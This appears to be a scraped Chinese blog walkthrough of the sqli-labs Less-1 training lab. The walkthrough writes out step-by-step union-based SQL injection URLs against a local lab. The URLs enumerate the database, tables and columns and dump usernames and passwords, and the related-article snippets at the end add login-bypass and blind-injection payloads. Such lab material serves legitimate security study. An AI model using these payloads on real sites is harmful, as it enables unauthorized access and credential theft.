sql="SELECT * FROM users WHERE id='id' LIMIT 0,1";

打开第一关,我们看到如下界面,上面写着Please input the ID as parameter with numeric value,它的意思是让我们请输入ID作为带有数值的参数。

我们输入带有id的参数:http://127.0.0.1/sqli-labs/Less-1/?id=1,如下图,正确回显界面。

我们尝试加入and 1=1(http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1),正确回显,然后我们将and 1=1 改为and 1=2,发现正确回显,为字符型注入,即说明存在闭合的干扰,所以我们在http://127.0.0.1/sqli-labs/Less-1/?id=1后面加一个'(单引号):http://127.0.0.1/sqli-labs/Less-1/?id=1',返回错误。如下图:

注释:这里and 1=1 改为and 1=2,发现正确回显,因为id为int类型,所以传入的 ‘1 and 1=2’ 会强制转换成 ‘1’ ,=>最终数据库中的查询语句为: select * from user where id ='1'; 所以sql语句不会报错。

爆的SQL语法错误('1'' LIMIT 0,1),多加了一个引号,即为字符型注入,说明为id='id'。

我们对‘后加--+进行注释。不能用# ,因为url中的# 号代表html页面中的锚点,数据传输过程并不会一起带到后端,且命令传到后端,少了一个单引号用来闭合命令(我们可以利用这种特性,在url中命令结尾添加一个单引号来代替注释符,或者将# 改为url编码(%23)。

然后我们使用order by对数据进行排序,查看数据有几列。(http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+)超过3就会报错,显示结果超出。如下:

然后进行union联合注入(union 的作用是将两个 sql 语句进行联合。):当 id 的数据在数据库中不存在时,(即使 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,就将后面的语句的内容显示出来)此处前台页面返回了构造的 union 的数据。

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+,回显正确。如下:

我们可以看出是更改select中的2,3来使我们知道我们想知道的信息。

查询数据库版本和数据库名:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+

查询用户名和操作系统:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),@@version_compile_os--+

也可以爆出数据库中的所有数据库名(http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+),我上边已经将这个数据库的库名爆出来了,没必要再去爆所有数据库名。

爆出security 数据库的数据表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆users表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆出数据:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users where id=1--+

 

sql-labs--Less-1--Error based-Single quotes的更多相关文章

  1. sqli-lab 第一题 单引号 error based single quotes

    一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输 ...

  2. 【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

    实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') ...

  3. 【sqli-labs】 less1 GET - Error based - Single quotes - String(GET型基于错误的单引号字符型注入)

    GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面li ...

  4. 【sqli-labs】 less11 POST - Error Based - Single quotes- String (基于错误的POST单引号字符型注入)

    查看源码,用户名和密码通过post提交 加单引号提交 出现报错,推测对应的SQL语句 , 直接使用or构造永真登录 成功,注意此处登录的用户为表中的第一个用户 需要改变用户可以通过改变筛选条件实现 作 ...

  5. 【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

    提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" ...

  6. 【sqli-labs】 less15 POST - Blind- Boolian/time Based - Single quotes (基于bool/时间的单引号POST型盲注)

    错误不回显了 构造永真登陆 登陆成功了 虽然登陆成功了,但是数据库的数据还么有爆出来 构造一下用户名 ' or length(database())=8# 如果数据库名的长度不等于8,登陆会失败 猜测 ...

  7. 【sqli-labs】 less9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

    加and http://localhost/sqli/Less-9/?id=1' and '1'='1%23 http://localhost/sqli/Less-9/?id=1' and '1'=' ...

  8. 【sqli-labs】 less8 GET - Blind - Boolian Based - Single Quotes (基于布尔的单引号GET盲注)

    加单引号 没有任何信息输出 加and 页面变化,不正常是没有任何回显 http://localhost/sqli/Less-8/?id=1' and '1'='1 http://localhost/s ...

  9. 服务器重启可能会导致SQL Server中部分数据库变为single user mode

    今天检查公司生产服务器的SQL Server数据库,惊讶的发现有三个生产数据库变为了single user mode.奇怪的是没有任何人和程序执行过SQL语句将这三个数据库设置为single user ...

  10. ORA-06502:PL/SQL :numberic or value error: character string buffer too small

    今天遇到一个错误提示:ORA-06502:PL/SQL :numberic or value error: character string buffer too small,一般对应的中文信息为:O ...

随机推荐

  1. phpstudy-sqlilabs-less-14

    题目:POST - Double Injection - Single quotes- String - with twist 和上关一模一样 uname=1"or 1=1 #&pa ...

  2. js 字符串格式数组转为数组对象

    工作中经常会遇到将json字符串转换为json对象,但是将字符串格式数组转为数组对象的场景却不多 如: 其中label_exp: "["cap_pop","wk ...

  3. 封装vue基于element的select多选时启用鼠标悬停折叠文字以tooltip显示具体所选值

    相信很多公司的前端开发人员都会选择使用vue+element-ui的形式来开发公司的管理后台系统,基于element-ui很丰富的组件生态,我们可以很快速的开发管理后台系统的页面(管理后台系统的页面也 ...

  4. 代码随想录算法训练营Day12 栈与队列

    代码随想录算法训练营 代码随想录算法训练营Day12 栈与队列| 239. 滑动窗口最大值  347.前 K 个高频元素  总结 239. 滑动窗口最大值 给定一个数组 nums,有一个大小为 k 的 ...

  5. ODOO13 之十 :Odoo 13开发之后台视图 – 设计用户界面

    Odoo 13开发之后台视图 – 设计用户界面 本文将学习如何为用户创建图形化界面来与图书应用交互.我们将了解不同视图类型和小组件(widgets)之间的差别,以及如何使用它们来提供更优的用户体验. ...

  6. 大幅提升前端工作效率!Numeral.js数值格式化库来了!

    我们日常开发中,时常会碰到数值格式化操作的场景,今天了不起就为大家分享一款相对比较全面的数值格式化的JS库:Numeral.js Numeral.js Numeral.js 是一个用来对数值进行操作和 ...

  7. Java关键字break、continue 、return的区别,嵌套循环,数组的概念以及数组案例

    一.关键字 break.continue .return的区别 1.break : 用于在switch..case中放置语句块穿透, ​ 用于跳出循环 // 从1-100 遇到7的倍数 break f ...

  8. 【HarmonyOS】API9中datashare转internal的方法

    [前言] HarmonyOS 3.1 Release版本正式发布了,这个版本给我们带来了一个非常有用的API--FilePicker(文件选择器) @ohos.file.picker,使用这个API我 ...

  9. LLE算法在自然语言生成中的应用:实现文本到语音的情感迁移

    目录 自然语言生成(Natural Language Generation,NLP)是人工智能领域的一个分支,它利用大量的文本数据训练出语言模型,从而实现对自然语言的生成和理解.在NLP中,情感迁移( ...

  10. Kubernetes(k8s) 资源限制:resources,LimitRange,ResourceQuota

    目录 一.系统环境 二.前言 三.Kubernetes资源限制简介 四.创建没有资源限制的pod 4.1 创建没有资源限制的pod 4.2 内存消耗测试 五.使用resources字段配置资源限制 5 ...